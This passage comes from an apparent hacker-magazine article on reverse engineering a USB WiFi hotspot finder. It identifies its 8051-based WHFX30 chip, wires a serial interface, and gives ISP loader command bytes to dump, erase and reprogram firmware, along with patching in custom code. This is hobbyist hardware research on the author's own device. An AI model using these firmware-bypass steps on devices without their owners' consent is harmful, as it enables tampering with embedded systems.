Once you get the device open, you will see that it consists of two circuit boards mated together by a 10‑pin header. The top board is secured by one small screw near the back of the device. Feel free to throw the screw away, or eat it, or something. It's not needed. The USB/wifi board contains a ZD1211 802.11 chip and the RF subsystem. It is basically the same as a generic USB 802.11 adapter you would buy in the same form factor. After the screw is removed, you can grab the USB connector and wiggle this board up, freeing it from the 10‑pin header that connects it to the bottom board. The bottom board contains the focus of our attack, the mysterious WHFX30 microcontroller that seems to be the "brains" of the operation.

Here is a side view of how the boards fit together. When viewed from above during disassembly, you will note that the wifi board has the components on the bottom, and the microcontroller board has the components on the top. It is necessary to unconnect the boards to actually see any interesting components.

Side View of the Wifi Finder Boards

RF (shielded) ZD1211 USB

Top Board ___________________________________

|______________| \_

____________ ___

Bottom |____________|‑‑____/ \___

Board Battery WHFX30 10‑Pin Header

‑‑[ 4.0 ‑ Internals and Investigation

As was previously mentioned, the entire top board can be used as a generic, standalone USB wifi card for your PC. This architecture using the ZD1211 chipset is widely used, and to us: boring. For knowledge on this board and the ZD1211 device, I refer you to the excellent work of the Linux community whose drivers and source code are freely available at [7]. There you can browse the source to discover the USB endpoints, register setup of the ZD1211, promiscuous mode, channels, and other fine information.

But nowhere is there information on the "WHFX30" device... It is a ghost, a semi‑custom IC that holds the brains of the finder. Since the vendor firmware updater is so limited, we must find a way to break into this mystery chip and get our own code onto it.

By researching the device online, we see some excellent starting points of our attack at J. Maushammer's investigation of the device [8]. Mr. Maushammer was the first one to attempt to hack the device, and the owner of a great deal of initial information. He hypothesizes that the WHFX30 contains an 805x microcontroller, and by disassembling one of the firmware updates this seems very likely. He has also outlined some of the data blocks in the WHFX30 firmware, showing us the font table and power‑on graphics but he goes no further. Perhaps his goals were too lofty, or he became bogged down in the intermediate steps. We are resolved to keep our goal clear: Get into the WHFX30.

By investigating the firmware updater file, we can see that only the 16k block of residing at 0x4000 is 8051 code. However, it contains no jump vectors (that would reside at 0x0000) nor any interrupt service routines so it is probably NOT the entire 8051 program. Additionally, the text strings for the self‑test and firmware update routines are missing. This brings us to the conclusion that the firmware updater is only allowed to touch a small portion of the device code: Specifically the finder routine. It also tells us that the WHFX30 device probably contains more that 16k of code memory, which is a good thing for extending the capabilities.

We will take this opportunity to borrow Maushammer's pinout of the 10‑pin header. We can make up our own names, but it will be better to begin forming a standard on how we refer to the device. Note that we are viewing the header socket on the bottom (WHFX30) board.

On‑Off Switch

‑‑‑‑‑/ \‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑ |

1 | o o | 2 |

3 | o o | 4 |

5 | o o | 6 |

7 | o o | 8 |

9 | o o | 10 |

‑‑‑‑‑ |

‑‑‑\_/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Next"

Pinout

‑‑‑‑‑‑

J1) Unknown (for now)

J2) Scanning

J3) Start of Scan

J4) GND

J5) GND

J6) USB Data (obsolete?)

J7) Serial data (ZD1211 TxD, WHFX30 RxD)

J8) USB Data (obsolete?)

J9) Serial Data (ZD1211 RxD, WHFX30 TxD)

J10) USB Power to charger (when connected to PC)

When faced with a chip that you are not familiar with, it is best to collect as much information as possible and begin sifting down until you have a positive identification. I feel that basically all devices will fit into one of three categories.

A) A production chip

‑ Information on these devices will be freely, or easily available.

B) A semi‑custom chip based on a production chip.

‑ Information MAY be available, depending on the secrecy of the application. For example, ATM machines often use generic, secure 8051 CPU's but noone will ever admit this to you.

C) A full‑custom chip.

‑ Only feasable for huge volume runs, like special graphics chips for the new playstation. Unless you work at Sony or Nvidia the likelihood of getting any information on these chips is near 0.

Our device is not an A, and this cheap USB toy does not warrant a C so we must be stuck in B: Probably an off‑the‑shelf (but re‑marked) chip, or at least based on one.

An example of a B‑type is a neat CPU I've seen in Japanese slot machines. Way too many pins to be a normal CPU, but the surrounding circuitry is too crude to be anything else. What did that one turn out to be? Well it's a generic 8032 microcontroller with a generic EEPROM chip in the same package. It's only made for that manufacturer of Pachislo machines, but internally it's all off‑the‑shelf stuff. I guess the theory is that by not knowing what it is, users and competitors won't be able to access it? WRONG! Obscurity does not create security. That device can be read and written with a standard EEPROM burner once the pinout is known.

But back to our little wifi‑finder. We can trace the locations of VDD (the power supply) and GND pins, and we know it has an RS232 port on a few other pins. A few pin locations is often good enough to discover the identity of an "easy B" ‑ a standard device that is simply marked as something else. For this guy, that's no good. There are too many 805x derivatives with too many pinouts for us to make a positive identification.

We need some additional information. You could try social engineering, but it seems the vendors are also unaware of the internals of the WHFX30 and the original design house is under confidentiality to the vendors so you are probably out of luck here.

It's at this point that one of our members resorted to a bit of a dirty trick in the investigation of the WHFX30. It's called "Decap", and it is basically when a hole is etched into the top of the plastic IC package using strong acid so you can look at the chip inside. We do not recommend you try this yourself, as it is obvously dangerous and is likely to damage the board if you are not careful! But for a small fee of $50‑$100, there are companies that can decap your IC even when it is attached to a PCB. You can find one of these companies by searching some terms such as "SEM" (scanning electron microscope), "FIB" (focused ion beam), "Decap", "IC Failure Analysis". They will be happy to decap your IC for a nominal fee, and usually laugh and joke with you if you bring in an ipod or some other high value item. I find that they are not laughing because you want to decap some of Apple's proprietary chips, but that they have already done it so many times they would rather just tell you what's inside. Cheeky bastards!

After the WHFX30 was decapped, it was examined with a microscope to find the logo of the manufacturer: Macronix. The manufacturer will almost always put a logo and trademark on the IC, unless it is a matter of great security or so damn cheap (like a blinkey toy) that the logo is omitted. With the manufacturer's name, it was an easy job to research Macronix's products until we found one that matched the pinout and capabilities of the WHFX30: MX10E8050A. You can download the datasheet of this device from Keil, who makes a nice compiler/debugger suite called microvision (uVision) that you will probably use later. The MX108050A datasheet is available at [9].

The MX10E8050A is a low‑level 8051 clone that offers a few GPIO ports, a UART, 2k of internal RAM, and a nice big 64k EEPROM (broken into 4x 16k blocks) for code storage. Just this little bit of knowledge helps us decipher what the funny 0x4000 offset in the firmware upgrader is for: You can only erase this EEPROM in 16k blocks, and can not (should not?) erase a block that you are executing code from. So in order to have a "Firmware Upgrade Mode", the designers must have put those routines along with the jump vectors and interrupt service routines down in the first block of EEPROM, from 0x0000‑0x3FFF. Next comes the hotspot finder routines in 0x4000‑0x7FFF, and the upper two blocks are unused. NOTE: Actually they are scratchpad memory for writing the new firmware to before flashing it to 0x4000, but let's not get into it.

‑‑[ 5.0 ‑ Accessing the ISP Loader

At this point, things are unraveling fast. We have completed our intermediate goals of investigating and identifying our target, and a little browsing of the MX10 datasheet tells us that there is a deeper bootloader hardwired into ROM in each device. That is usually the case in 8051 clones, and large smiles came to our faces as we learned how to bring it to life.

We are close to our main goal now, and should soon have the ability to dump and overwrite the entire 64k of EEPROM with a little help from the ISP Loader. But we need a way to talk to the device, as well as a way to exceute a special startup sequence required to activate this factory ROM loader. Let's start with the power‑up sequence. The datasheet tells us that if we hold the !PSEN pin low, ALE pin and !EN pin high while leaving reset we will enter the ISP loader.

EA is held high by the board, and ALE will default to high when !PSEN is forced low so really we only need to hold !PSEN low. We started by stabbing it with a grounded needle, which works but risks damaging the I/O circuitry in the abused pin. A little tracing of the PCB showed us that J1 on the 10‑pin header is used as a !PSEN pulldown during a small power‑on delay. So it's simple! We just ground J1 by connecting it to J4, and power‑up the device. Boom! We've hit the loader!

When the loader is active, the RS232 port on the WHFX30 is used to transfer commands and EEPROM data. However, it is a 3.0v, 0v logic signal instead of the ‑12v, 12v signals used by the RS232 port in your PC. DO NOT connect your PC to the finder without a suitable interface or you will blow the WHFX30. Since the WHFX30 required 3v logic levels, you can use the 3v version of the popular MAX232 chip, the MAX3232. Get the datasheet from Maxim [A].

You will need the '3232 IC, five 0.1uf capacitors and either a chopped‑off RS232 cable or an RS232 connector. I will describe the circuit here, as ASCII schematics always leave something to be desired. In this circuit description, some common names are used that are explained here. VCC or VDD is the supply voltage for the device, here 3.0v or 3.3v. GND is the ground of the device. RxD is the recieving input, and TxD is the transmitting output. Both the PC and the finder have TxD and RxD lines, so this interface IC is used to connect the PC's TxD to the finder's RxD and vice versa. That should help you keep it clear when wiring the chip.

Wiring steps:

A) Connect your 3v power supply to pin 16.

NOTE: Connect a cap (C5)from VCC to GND to filter noise.

B) Connect your power supply GND to pin 15.

NOTE: Connect this GND to WHFX30 GND on J4 of the 10‑pin header. C) Pump capacitor C1 connects from pin 1 to pin 3.

D) Pump capacitor C2 connects from pin 4 to pin 5.

E) Reservoir cap C3 connects from pin 2 to GND

F) Reservoir cap C4 connects from pin 6 to GND.

NOTE: Cap C4 has negative polarity, so the + side connects to GND. G) RS232 RxD (Pin 2 on a 9‑pin RS232 connector) connects to pin 14 H) RS232 TxD (pin 3 on a 9‑pin RS232 connector) connects to pin 13 I) WHFX30 RxD (Pin J7 on the 10‑pin header) connects to pin 12 J) WHFX30 TxD (Pin J9 on the 10‑pin header) connects to pin 11

MAX3232 Interface

___ ___

+‑‑‑‑‑)|‑‑‑ C1+ ‑|1 U 16|‑ Vcc ‑‑‑|(‑‑‑GND

| GND‑‑)|‑‑ V+ ‑|2 15|‑ GND ‑‑‑‑‑‑‑‑GND

+‑‑‑‑‑‑‑‑‑‑ C1‑ ‑|3 14|‑ T1out ‑‑‑> RS232 RxD (RS232 p2) +‑‑‑)|‑‑‑‑ C2+ ‑|4 13|‑ R1in <‑‑‑ RS232 TxD (RS232 p3) +‑‑‑‑‑‑‑‑‑ C2‑ ‑|5 12|‑ R1out ‑‑‑> WHFX30 RxD (Header J7) GND‑‑|(‑‑ V‑ ‑|6 11|‑ T1in <‑‑‑ WHFX30 TxD (Header J9) T2out ‑|7 10|‑ T2in

R2in ‑|8 9|‑ R2out

|_______|

As an alternate route, you can buy a cheap USB‑RS232 converter and just tap into the 3v RxD, TxD pins, saving yourself the trouble of building the MAX3232 circuit.

‑‑[ 6.0 ‑ ISP Loader Capabilities

OK, you have built and tested your interface board, and connected it to the wifi finder. You have jumpered J1 and J4 to enable the bootloader, and you have powered up the wifi finder while hyperterminal runs on your PC. What now?

At first, the device will send nothing or a garbage character. It's waiting for the uppercase "U" in order to detect and configure the baud rate. After sending a few "U"'s to the device, it will begin echoing characters back. You are now talking to the ISP loader.

It is at this point that we note a discrepancy in the datasheet. Maybe our device is not exactly a MX10E8050A, or maybe they screwed up. The datasheet says that either ASCII or binary records can be sent. We find that it only responds to binary records (so hyperterminal is somewhat limited). But the commands listed in the datasheet are accurate, you just need to send them in binary form, not ASCII. Go get a comms program from the openschemes site listed at the end of the article.

The records you will send are based on the Intel Hex Record format that you may have seen in those .HEX files from your compiler. But this device uses an extended set to include commands. The format is the same, though. Details of the hex record format are available at reference [B] below.

Generic hex record format

: nn aa aa rr dd ... dd cc <crlf>

Number Data Description

‑‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑

1) 0x3A (The ":" character) starts a record.

2) 0xnn The number of data bytes in the command. 3‑4) 0xaa, 0xaa Address of the location to access, or 00,00 otherwise otherwise

5) 0xrr The record type (or command type)

6‑n) 0xdd..... Data Packet, of length described in byte #2. n+1) 0xcc 2's complement checksum. Sum, (exept :), mod FF, invert‑1

So upon receipt of a complete command, the device will either respond with a "." to indicate good checksum, or an "X" to indicate bad checksum. The only other response would be an "R", if you attempted to write data but it was not successfully written. We've never recieved one unless we attempted to write before the EEPROM was erased.

Some nice commands are offered in the datasheet, and we've come up with some others. We will print them as hex strings, because the ASCII looks like garbage! A typical set of commands may be the sequence that follows.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1) Dump EEPROM.

0x3A, 0x05, 0x00, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0xF9

Description: Read EEPROM (0x04) from location 0x0000 to 0xFFFF, checksum 0xF9.

This beauty dumps the entire contents of the WHFX30 code memory to the serial port. This is the first command you will want to use, in order to get a clean copy of the 64k EEPROM in case you screw it up later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2) Full Chip Erase

0x3A, 0x01, 0x00, 0x00, 0x03, 0x07, 0xF5

Description: Erase all EEPROM blocks (0x03) + Status byte and Boot vector, checksum:0xF5.

You can also do block‑wise erase, but this command will clear everything in the chip, which is our preferred method. Please note that you will need to re‑write the boot vector after erasing, otherwise the chip will be stuck in the ISP loader.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3) Blank Check Device

0x3A, 0x05, 0x00, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xFF, 0x01, 0xF8

Description: Blank check (0x01) the device from 0x0000 to 0xFFFF

You can't successfully program EEPROM with data in it, so you will want to blank check it. This takes several seconds if it's going to pass, but if you fail it will fail as soon as the chip finds any data. Cool!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4) Program Data

0x3A, 0x10, 0x00, 0xhh, 0xll, 0x00, 16 Data bytes, Checksum

Description: Program EEPROM (0x00) at location 0xhhll with the following bytes. First byte is the data length. Here we use 0x10 for 16 bytes but that can be changed. Please note you will need to calculate the checksum on the fly, and the checksum summation does NOT include the first byte, 0x3A.

If you don't know how to make intel checksums, here you go:

a) Sum bytes mod 256 (or sum in a byte‑wide variable and let it roll over) b) Convert to 2's complement. A cheat for this if you don't want to look it up is to subtract your sum from 256 (0x100), or leave as 0 if the sum turned out to be 0x00.

For those of you unfamiliar with 2's complement, it is the number required to make the entire sum equal 0x100. So for a summation total of 0x7E, our checksum would be 0x82. Since we are doing byte‑wide checksum, a sum total of 0x17E or 0x217E would also use a checksum of 0x82, since it is only the last byte that counts. If the sum total is some multiple of 0x100, then the checksum would be 0x00.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5) Erase Boot Vector and Status Byte

0x02, 0x00, 0x00, 0x03, 0x04, 0x00, 0xf7

Description: Erase (0x03) the BV/Status byte (0x04) after programming is completed in preparation for restoring default values.

After programming, the device will have status and BV set to continue booting into the ISP loader. In order to return the chip to normal mode (booting into EEPROM), we need to clear and rewrite the BV manually. Please note that after clearing these bytes, it is very important that you successfully re‑write the BV to it's default value or you will effectively DISABLE the ISP loader and will never get back into it. If you are having problems writing the BV, simply do a full‑chip erase to get out of this dangerous condition. But NEVER power down if you are stuck at step 5.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6) Write Boot Vector

0x03, 0x00, 0x00, 0x03, 0x06, 0x01, 0xFC, 0xF7

Description: Write (0x03) boot vector (0x01) to value 0xFC (for 0xFC00), checksum: 0xF7.

This resets the boot vector to the default value of 0xFC00. Do not power down the device between steps 5 & 6, or the boot vector will be stuck at 0x0000, running the programmed EEPROM always and disabling your ability to hit the ISP loader ever again.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We will assume at this point that you have dumped out the entire 64k of EEPROM that exists in the device. A measly 16k will match the data you can find in the vendor's firmware upgrade file, which leaves us with MOST of the data still an unknown. Fear not, intrepid hacker ‑ we will now frame out the location and function of this code EEPROM for you.

The 64k EEPROM is divided into four logical blocks of 16k each. This partitioning is provided by the manufacturer to allow the chip to erase and reprogram itself in a limited manner. In all the firmwares investigated, the partitioning follows the scheme here

Partition Logical Address Function

‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

1 0000h‑3FFFh Bootloader and Self‑Test Routines 2 4000h‑7FFFh Hotspot Finder Routines

3 8000h‑BFFFh Scratchpad 1 ‑ Wifi Data?? Still unsure.. 4 C000h‑FFFFh Scratchpad 2 ‑ Updater Scratchpad

As is the case with most 8051 microcontrollers, typical execution from power‑on or reset begins at 0000h in partition 1. Here the micro will first clear RAM and check for corrupted memory before checking the state of the buttons. If either self‑test mode or bootloader buttons are depressed, the micro will operate exclusively in partition 1. In the "Firmware Upgrade Mode" located in this partition, the micro can erase and re‑write the other blocks. For example, when a new finder routine is uploaded in firmware upgrade mode, the micro first erases the C000 block and writes the downloaded data here. If the checksum is good, the 4000 block will be erased and the new finder routine written there.

The second partition is the hotspot finder routine, which is what you see executing whenever the device is actively looking for hotspots. If no buttons are held down upon power‑up, we will jump over the bootloader and continue in the finder routine in this block.

The third partition is used as scratchpad, but it's function is not 100% determined. We suspect that it is used to write wifi data but our notes on this are not verified.

The fourth partition is used as scratchpad during firmware upgrade mode to write the new finder firmware temporarily. Upon entrance into the firmware upgrade mode, the C000 block is erased. As new firmware is sent to the device, it is written here first. After a successful transfer, this data is checksummed for validity. If valid, the 4000 block is then erased and this data copied there for permanent use as the new finder routine. This simplified upgrade is a bit safer since it is downloaded and checksummed before any upgrade is performed, so this will be the focus of our next section.

‑‑[ 7.0 ‑ Software Bootloader Capabilities

For those who are wary of erasing and fooling with the EEPROM at it's lowest levels, we can also communicate with the software bootloader, also known as "Firmware Upgrade Mode". It is limited to working on the 16k block of EEPROM residing at 0x4000 (the finder routines), but this is still useful in some cases. It's a good alternative for those who don't want to risk corrupting the device memory or boot vector. I consider it very safe, because the software bootloader itself resides in the 0x0000 block, separated from the writing and erasing being done at 0x4000 and above. So in no case could you lose the ability to go back to the original EEPROM.

When we power up the device (with no J1‑J4 jumper) with the "Next" button held down, the software bootloader runs as previously discussed. The serial port is automatically configured to 115.2k, 8n1 and the device will begin outputting characters. It intends to speak to the ZD1211, but we can simply attach our RS232 interface and communicate with it directly.

I will not go into all the details here, but we had to disassemble the bootloader itself to find the commands and communication sequence. You can do the same, if you like. Or, a small program to read and write the device using firmware upgrade mode is available online. A quick overview of a partial disassembly shows some details we used in development of our program.

Upon entrance into firmware upgrade mode, the device sends 8 0x00 bytes to the serial port to show it is alive, and then 8 0xA6 bytes to flag that it is about to erase the 0xC000 block. After erasing the scratchpad block the device sends 8 0xA7 bytes. Finally, it sends 8 0x11 bytes as the equivalent of a "command prompt". A good command will be executed, and a bad command will be ignored and will get us to another 8 0x11 bytes.

Although all instructions are not shown, you can see the operation of each of these sections by our comments here.

Snippet 1: Send the 0xA6's, erase the 0xC000 block and send the 0xA7's. NOTE: All 8 transmissions of 0xA6 and 0xA7 are not shown, but you get the picture.

053A 7F A6 mov R7, #0xA6 ; Load 0xA6

053C 12 28 A0 lcall SerialOut0 ; Send it to the serial port 053F 7F A6 mov R7, #0xA6 ; Load 0xA6

0541 12 28 A0 lcall SerialOut0 ; Send it to the serial port 0544 7F C0 mov R7, #0xC0 ; Load 0xC0 for erasing 0xC000 block 0546 12 29 3C lcall Do_IAP_ERASE ; Do the IAP Rom call to erase 0xC000 0549 7F A7 mov R7, #0xA7 ; Send 8x 0xA7 to signify erasure done 054B 12 28 A0 lcall SerialOut0

054E 7F A7 mov R7, #0xA7

0550 12 28 A0 lcall SerialOut0

0553 7F A7 mov R7, #0xA7

0555 12 28 A0 lcall SerialOut0

... And so on ...

Snippet 2: Sending last few 0x11 bytes of the command prompt, and the inspection of the "password" and command.

058F 7F 11 mov R7, #0x11 ; Load 0x11

0591 12 28 A0 lcall SerialOut0 ; Send it to the serial port 0594 7F 11 mov R7, #0x11 ; Load 0x11

0596 12 28 A0 lcall SerialOut0 ; Send it to the serial port 0599 12 29 A2 lcall SerIn_OneByte ; Get one byte from serial port 059C BF AA D2 cjne R7, #0xAA, L_571 ; If byte is not 0xAA, bail out 059F 12 29 A2 lcall SerIn_OneByte ; Get one byte from serial port 05A2 BF 77 CC cjne R7, #0x77, L_571 ; If byte is not 0x77, bail out 05A5 12 29 A2 lcall SerIn_OneByte ; Get one byte from serial port 05A8 8F 28 mov RAM_28, R7 ; Store it in location 28 05AA E5 28 mov A, RAM_28 ; Store it in A as well 05AC 64 A5 xrl A, #0xA5 ; XOR it with 0xA5

05AE 70 2B jnz L_5DB ; If NOT 0xA5, continue to "Erasing" 05B0 7F A5 mov R7, #0xA5 ; Otherwise echo 0xA5's as ack 05B2 12 28 A0 lcall SerialOut0

05B5 7F A5 mov R7, #0xA5

05B7 12 28 A0 lcall SerialOut0

We can see that the bootloader requires a "password" of 0xAA, 0x77 in order to get to the beginnings of the command interpreter. Afterward, it is looking for the 0xA5 byte to start an upload. Once it gets an 0xA5, it will echo 8 0xA5's back to the host and continue on to the "Recieving" routine.

You will note that these function names are our own, and are obviously not embedded in the firmware. Feel free to make up your own names and comments if you decide to disassemble the code yourself. Furthermore, you will note that in order to erase the 0xC000 block, we must use the device's internal ROM calls. This is an interesting feature supplied by the IC vendor to make EEPROM programming easier. The details of the IAP rom calls are listed in the datasheet, and we will show a short snippet of the Do_IAP_ERASE call here, just for clarity.

293C Do_IAP_ERASE:

293C 8F 2F mov RAM_2F, R7 ; Get the address to erase 293E 75 F8 5A mov SFR_F8, #0x5A ; Write ROM Security code 2941 43 A2 20 orl FIE, #0x20 ; Set ENBOOT to enable IAP ROM 2944 79 01 mov R1, #1 ; Function 0x01 (ERASE EEPROM) 2946 8F 83 mov DPH, R7 ; High byte of address into DPH 2948 75 82 00 mov DPL, #0 ; Low byte of address into DPL 294B 12 FF F0 lcall L_FFF0 ; Execute the IAP ROM Call 294E FF mov R7, A ; Store the result in R7 294F 53 A2 DF anl FIE, #0xDF ; Clear the ENBOOT flag 2952 53 F8 00 anl SFR_F8, #0 ; Clear the ROM security code 2955 22 ret

2955 ; End of function Do_IAP_ERASE

It's interesting because there is no actual code at location FFF0, but rather this location has been remapped to an internal function supplied by the manufacturer of the IC. We enable this remap by writing a password and setting the ENBOOT bit. As was mentioned, the details are in the datasheet, but this is the general procedure to call the IAP functions with your desired command in register R1.

Had enough assembly for now? Let's get back to the descriptions!

When using the firmware upgrade mode, the 16k file must pass an internal checksum where the bytes at 0x0E and 0x0F (0x400E, 0x400F) are set so the 16‑bit sum of the entire 16k block is 0x0000. It's an easy calculation, and our program to talk to upgrade mode will check and correct it on the fly if needed. When writing your own, please take this into account: If the entire file is uploaded but the checksum fails, the device will display BED CS: ???? on the LCD, with the checksum displayed in the ?? values. The EEPROM will not be updated in the case of a failed checksum. If the checksum is good, the device will display "Erasing", "Upgrading" for a few moments and then show the new firmware version before restarting at your command.

Please note is that the 0xC000 block and maybe the 0x8000 blocks are used as scratchpad memory when a new 16k BIN file is being uploaded. So if you have located your own code there when you enter firmware upgrade mode, be warned that these blocks will be erased automatically on entry into upgrade mode.

‑‑[ 8.0 ‑ Inserting Your Own Code

We assume you have a compiler, and the necessary knowledge to write 8051 code. The next step is to insert some of our own code for execution. There are essentially two ways to do this: by patching the finder routines in the case of using the firmware upgrade mode; Or by patching the bootloader in the case that you are overwriting all the memory using the ISP Loader.

Either one is fine, but space is very limited in the finder routine, basically consisting of about 1400 bytes up at 0x7A80. Nonetheless, we will demonstrate it here.

The entry point to the finder routines is at 0x4020, jumped to after the check for the bootloader. Here we clear some memory and then jump to the main finder routine at 0x71FE. By inserting a jump or call right after we clear the internal RAM, we can divert execution to our own code, which we assume resides at 0x7A80. After our code is done, we can continue on with the normal finder routine by jumping then to 0x71FE. Or, you can insert a call down after the RAM clear, and simply return to it.

Original code for finder entry point

org 0x4020

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finder_Entry:

mov R0, #0x7F ; Load the address of top of RAM clr A ; Clear the ACC

Memclear_Loop: ; seg000_4023

mov @R0, A ; Store a 0 at the address in R0 djnz R0, Memclear_Loop ; Decrement R0, loop if not done yet mov SP, #0xA1 ; Set the stack pointer to 0xA1 ljmp Finder_Start ; Continue to 0x71FE

We would insert our jump or call right before the ljmp to Startup. After this ljmp, there is blank space up to 0x4070 so it's no problem to insert a few instructions here. For example..

Modified code for finder entry point

org 0x4020

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finder_Entry:

mov R0, #0x7F ; Load the address of top of RAM clr A ; Clear the ACC

Memclear_Loop: ; seg000_4023

mov @R0, A ; Store a 0 at the address in R0 djnz R0, Memclear_Loop ; Decrement R0, loop if not done yet mov SP, #0xA1 ; Set the stack pointer to 0xA1 ljmp MyRoutine ; Change this jump to our code

org 0x7A80

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MyRoutine:

do our instructions here

...

...

ljmp Finder_Start ; Continue to 0x71FE

Now we have not shown the fact that a lot of data exists between these two points. It is best to compile your program and then convert the .HEX file to .BIN file (using HEX2BIN.exe‑search it or download from reference [C]). Finally you can insert your new code using copy/paste from a hex editor into the proper locations in the original .BIN file before upload to the device.

For the daring folks, it is much better to update the entire EEPROM using the ISP Loader. Then, we can basically take over the entire 16k block at 0x8000. This one is only erased by command when we're in the firmware upgrade mode so it is relatively safe. If you use the EEPROM block at 0xC000, you must not enter firmware upgrade mode or it will immediately be erased and you will have to reprogram it to get your code back into the device.

Upon startup, the device begins executing at 0x0000, where we can only fit one instruction: The reset jump vector. You can always patch this location to jump to your code, and later continue with it's original value by jumping to location 0x0100. More desireable is to patch at 0x0109, after the device has cleared it's internal RAM and set the stack pointer.

This code at 0x0100 is almost identical to the start of the finder routine we looked at before. Our strategy is identical, and in this example we will take over at 0x0109 and jump to our code at 0x8000. Once our code is done we can continue on by jumping to the next stage of the original startup routines (checking the next/seek buttons) with a jump to 0x26D2.

Original code for power‑on startup. Jumped to by 0x0000 jump vector.

org 0x0100

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Power‑ON:

mov R0, #0x7F ; Load the address of top of RAM clr A ; Clear the ACC

Memclear_Loop0: ; seg000_0103

mov @R0, A ; Store a 0 at the address in R0 djnz R0, Memclear_Loop0 ; Decrement R0, loop if not done yet mov SP, #0xA1 ; Set the stack pointer to 0xA1 ljmp Boot_Check ; Continue to 0x26D2

Modified code for power‑on startup

org 0x0100

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Power‑ON:

mov R0, #0x7F ; Load the address of top of RAM clr A ; Clear the ACC

Memclear_Loop0: ; seg000_0103

mov @R0, A ; Store a 0 at the address in R0 djnz R0, Memclear_Loop0 ; Decrement R0, loop if not done yet mov SP, #0xA1 ; Set the stack pointer to 0xA1 ljmp MyRoutine ; Continue to 0x8000 for our code

org 0x8000

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MyRoutine:

do our instructions here

...

...

ljmp Boot_Check ; Continue to 0x26D2

This approach is a little bit easier to hex edit because it's just a few bytes' change down at 0x0109. Then we can ignorantly paste up to 16k of code up at 0x8000.

Obviously, the best hacks do not use hex editing, but will create a full .ASM recreation of the rest of the EEPROM. Either ourselves or another group will eventually release this .ASM file ‑ we are still negotiating ‑ but it will take some time as we are all still studying the disassembly.

‑‑[ 9.0 ‑ Conclusion

We have just scratched the surface here in this article, to give you the tools and a starting point for your own development. More advanced techniques such as inserting two RS232 interfaces between the two boards can allow us to monitor all the communications back and forth during the finder routine or firmware upgrade mode. With this method we can easily see the command sequences passed back and forth between the two chips. Additionally, USB snooping is a great tool to watch high‑level communication between the PC and the finder at any time. Also, these commands can be seen in a complete disassembly and analysis of the firmware files, which was not included here. Using your own imagination and creativity will lead to many other advances we have not even considered!

In conclusion, this article is focused on the hardware hack, so some of our musings on the software and discussion of our custom software tools were omitted. For a more in‑depth analysis and details, as well as access to the software tools described in the article, please visit our web page, generously hosted by the Openschemes project at [D].

Good luck, and happy hacking!

‑‑[ A.0 ‑ References

[1] ‑ IDA Disassembler by DataRescue Corporation http://www.datarescue.com/

[2] ‑ Keil uVision IDE

http://www.keil.com/uvision/

[3] ‑ Allnet Allspot ALL0298 http://www.allnet‑usa.com/html/shop.php?kat=WiFi+54Mbit

[4] ‑ ZyXel AG‑225H

http://www.zyxel.com (Direct link too long to include)

[5] ‑ TrendNet TEW‑429UB http://trendnet.com/products/proddetail.asp?prod=155_TEW‑429UB

[6] ‑ Linksys WUSBF54G

http://www.linksys.com (Direct link too long to include)

[7] ‑ ZD1211 Linux Driver Development http://zd1211.wiki.sourceforge.net

[8] ‑ ZyXEL AG‑225H WiFi Finder Reverse Engineering http://www.maushammer.com/systems/wififinder/index.html

[9] ‑ Macronix MX108050A Datasheet http://www.keil.com/dd/docs/datashts/mxic/mx10e8050i.pdf

[A] ‑ Maxim MAX3232 Datasheet http://datasheets.maxim‑ic.com/en/ds/MAX3222‑MAX3241.pdf

[B] ‑ Intel Hex Record Format at Keil http://keil.com/support/docs/1584.htm

[C] ‑ HEX2BIN Download http://www.tech‑tools.com/d_hx2bin.htm

[D] ‑ Wifi Finder Reverse Engineering at Openschemes http://wifi.openschemes.com.

The art of exploitation

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

